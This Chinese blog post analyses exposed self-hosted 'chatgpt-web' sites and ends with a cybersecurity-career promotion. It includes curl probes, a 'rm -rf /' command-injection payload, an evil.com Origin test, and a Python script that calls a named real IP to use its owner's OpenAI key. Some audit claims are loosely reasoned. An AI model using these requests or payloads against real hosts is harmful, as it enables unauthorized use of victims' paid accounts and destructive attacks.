使用国内私人部署ChatGPT风险分析

概述

CharGPT在国内外大火,国内有很多人利用开源项目的代码部署了私有ChatGPT的API网站,但这些网站真的安全吗?网站的安全性到底怎么样?

利用ChatGPT对最火爆的开源代码进行了审计,进行了一番研究。还真发现了一些问题。

私人搭建的网站风格如下:

网站的开源地址如下:

GitHub - Chanzhaoyu/chatgpt-web: 用 Express 和 Vue3 搭建的 ChatGPT 演示网页

通过引用分析发现,代码已经由20K的stars,代码更新次数已达42次,如下图:

 

测绘分析

在威胁情报平台通过搜索字符串"chatGPT-web",发现有1.5万个匹配结果,8549条独立IP,也有同一个IP部署多个的情况。

其中有6578个网站部署在中国境内。

代码审计与安全发现

为了节省时间,直接使用ChatGPT对开源代码进行安全代码审计,发现了如下的安全问题和风险:

  • 认证和授权问题

在程序中使用了auth中间件来进行身份验证,但并没有详细说明使用的是哪种认证方式。此外,在路由路径中,没有对敏感操作进行授权,如/chat-process和/config。这可能导致未经授权的用户可以访问和操作这些敏感功能,从而导致数据泄露和系统的安全性受到威胁。

大部分系统连登录都没有配置,内置了openai的API key,任何人拿到IP地址和端口就可以直接使用ChatGPT。

  • 数据安全问题

在/chat-process路由中,接收到的请求体可以包含敏感信息,如prompt和options。然而,在处理这些数据时,并没有进行充分的输入验证和过滤,可能导致恶意数据注入、SQL注入等攻击,从而导致数据泄露和系统崩溃等安全问题。

  • 代码注入问题

在/chat-process路由中,存在将数据写入响应中的操作,而这些数据是从请求中获取的,这可能导致恶意用户将恶意代码注入到响应中,从而攻击其他用户或系统。

风险验证

利用CURL针对存在的问题进行验证如下:

1. 验证认证和授权问题。

curl -X POST -H "Content-Type: application/json" --data '{"username":"admin","password":"password"}' http://ip:3002/login

90%以上的站点不用登录就可以使用。

2. 验证数据安全问题。

curl -X POST -H "Content-Type: application/json" --data '{"prompt":"test","options":{"key":"value"},"systemMessage":"test","temperature":0.5,"top_p":0.5}' http://ip:3002/chat-process

执行命令后的结果如下:

得出结论为恶意用户可以在不知带openai-api-key的情况下,利用网站的API, 获得ChatGPT输出数据内容。

3. 验证代码注入问题

curl -X POST -H "Content-Type: application/json" --data '{"token":"test; rm -rf /"}' http://ip:3002/verify

4. 验证敏感信息是否加密传输

curl -k http://ip:3002/session

如果返回的响应中包含AUTH_SECRET_KEY,则表示敏感信息未加密传输。

5. 验证Access-Control-Allow-Origin是否设置为通配符

curl -i http://ip:3002/chat-process -H "Origin: https://evil.com"

如果响应头中包含Access-Control-Allow-Origin: *,则表示存在跨站点脚本攻击(XSS)风险。

编写代码复现

利用python编写验证代码如下:

#!/usr/bin/env python  
#_*_ coding:utf-8 _*_  

import requests
import json
import time

def chat_api(prompt):
    url = "http://141.147.168.252:3002/chat-process"
    headers = {"Content-Type": "application/json"}
    payload = {
        "prompt": prompt,
        "systemMessage": "test",
        "temperature": 0.5,
        "top_p": 0.5
    }
    response = requests.post(url, headers=headers, data=json.dumps(payload),stream=True)
    if response.status_code != 200:
        print("error")
        return None
    #print(response.status_code)
    #print(response.text)
    text_value = []
    for chunk in response.iter_lines():
        #print(str(chunk))
        data = json.loads(chunk)
        text_value = data["text"]
        if text_value != None:
            print(text_value)
    return text_value

chat_api("中国的首都在哪里?")

运行结果如下:

中国
中国的
中国的首
中国的首都
中国的首都是
中国的首都是北
中国的首都是北京。
中国的首都是北京。
中国的首都是北京。

可以得出结论,在不知道用户的openai-API-KEY的情况下,攻击者可以对用户站点的API进行调用。用户账户里的资金可以在用户不知情的情况下被消耗。站点的其它更多问题,暂时没有去验证,但因为站点都使用了http协议,安全风险非常大。

其他安全风险

  • 数据隐私泄露风险

ChatGPT是通过大量语料库进行训练的,其中包含了很多用户的个人信息。如果这些语料库被用于非法目的或者不当使用,就可能导致用户信息泄露的风险,攻击者也可以通过获得相关的日志内容并进行分析,发现更多有价值的数据。

  • 恶意攻击风险

ChatGPT模型可以被用于生成虚假信息、网络钓鱼等恶意行为,当攻击者入侵了ChatGPT系统并训练生成虚假数据,就会导致因虚假内容的生产和传播损坏服务提供方和服务使用方的利益。

  • HTTP协议风险

例如:http://112.93.121.160:3002/#/chat/1002

网站使用了古老的http协议,此协议存在以下安全风险:

  1. 窃听攻击:HTTP协议在传输数据时采用明文形式,容易被攻击者窃听。攻击者可以通过中间人攻击等手段截取网络流量,获取用户的敏感信息。
  2. 中间人攻击:由于HTTP协议没有身份验证机制,攻击者可以伪装成服务器或客户端,与用户通信并获取用户的信息。
  3. XSS攻击:当Web应用程序以未经过滤的方式向浏览器输出用户输入的数据时,攻击者可以插入恶意脚本,导致用户的浏览器执行这些脚本,从而实现攻击目的。这种攻击称为跨站脚本攻击(XSS攻击)。
  4. CSRF攻击:攻击者利用受害者的身份,在不知情的情况下,通过构造特殊的URL或表单提交,向Web应用程序发送恶意请求,从而实现攻击目的。这种攻击称为跨站请求伪造(CSRF攻击)。

建议使用HTTPS协议、加密用户数据、限制数据的访问范围、对Web应用程序进行安全审查、对用户输入的数据进行校验等。同时,开发人员应该加强对Web应用程序的安全性设计和编码,以及不断更新升级以修复已知安全漏洞。

总结

ChatGPT的使用需求越来越多,在构建应用和服务时,需要加入网络安全因素考量,采取包括但不限于加密用户数据、限制数据的访问范围、对模型进行安全审查等安全措施,同时需要加强对类似技术的监管,保证服务提供和使用的安全可控。

题外话

初入计算机行业的人或者大学计算机相关专业毕业生,很多因缺少实战经验,就业处处碰壁。下面我们来看两组数据:

  • 2023届全国高校毕业生预计达到1158万人,就业形势严峻;
  • 国家网络安全宣传周公布的数据显示,到2027年我国网络安全人员缺口将达327万。

一方面是每年应届毕业生就业形势严峻,一方面是网络安全人才百万缺口。

6月9日,麦可思研究2023年版就业蓝皮书(包括《2023年中国本科生就业报告》《2023年中国高职生就业报告》)正式发布。

2022届大学毕业生月收入较高的前10个专业

本科计算机类、高职自动化类专业月收入较高。2022届本科计算机类、高职自动化类专业月收入分别为6863元、5339元。其中,本科计算机类专业起薪与2021届基本持平,高职自动化类月收入增长明显,2022届反超铁道运输类专业(5295元)排在第一位。

具体看专业,2022届本科月收入较高的专业是信息安全(7579元)。对比2018届,电子科学与技术、自动化等与人工智能相关的本科专业表现不俗,较五年前起薪涨幅均达到了19%。数据科学与大数据技术虽是近年新增专业但表现亮眼,已跻身2022届本科毕业生毕业半年后月收入较高专业前三。五年前唯一进入本科高薪榜前10的人文社科类专业——法语已退出前10之列。

“没有网络安全就没有国家安全”。当前,网络安全已被提升到国家战略的高度,成为影响国家安全、社会稳定至关重要的因素之一。 

网络安全行业特点

1、就业薪资非常高,涨薪快 2021年猎聘网发布网络安全行业就业薪资行业最高人均33.77万!

2、人才缺口大,就业机会多

2019年9月18日《中华人民共和国中央人民政府》官方网站发表:我国网络空间安全人才 需求140万人,而全国各大学校每年培养的人员不到1.5W人。猎聘网《2021年上半年网络安全报告》预测2027年网安人才需求300W,现在从事网络安全行业的从业人员只有10W人。

行业发展空间大,岗位非常多

网络安全行业产业以来,随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…

职业增值潜力大

网络安全专业具有很强的技术特性,尤其是掌握工作中的核心网络架构、安全技术,在职业发展上具有不可替代的竞争优势。

随着个人能力的不断提升,所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟,升值空间一路看涨,这也是为什么受大家欢迎的主要原因。

从某种程度来讲,在网络安全领域,跟医生职业一样,越老越吃香,因为技术愈加成熟,自然工作会受到重视,升职加薪则是水到渠成之事。

黑客&网络安全如何学习

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

 1.学习路线图 

 攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。

2.视频教程

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。

内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等,都是网络安全入门必知必会的学习内容。

(都打包成一块的了,不能一一展开,总共300多集)

因篇幅有限,仅展示部分资料,需要保存下方图片,微信扫码即可前往获取

3.技术文档和电子书

技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。 

 因篇幅有限,仅展示部分资料,需要保存下方图片,微信扫码即可前往获取

4.工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。 

 还有我视频里讲的案例源码和对应的工具包,需要的话也可以拿走。

因篇幅有限,仅展示部分资料,需要保存下方图片,微信扫码即可前往获取

最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。

参考解析:深信服官网、奇安信官网、Freebuf、csdn等

内容特点:条理清晰,含图像化表示更加易懂。

内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

 因篇幅有限,仅展示部分资料,需要保存下方图片,微信扫码即可前往获取 

  • 22
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值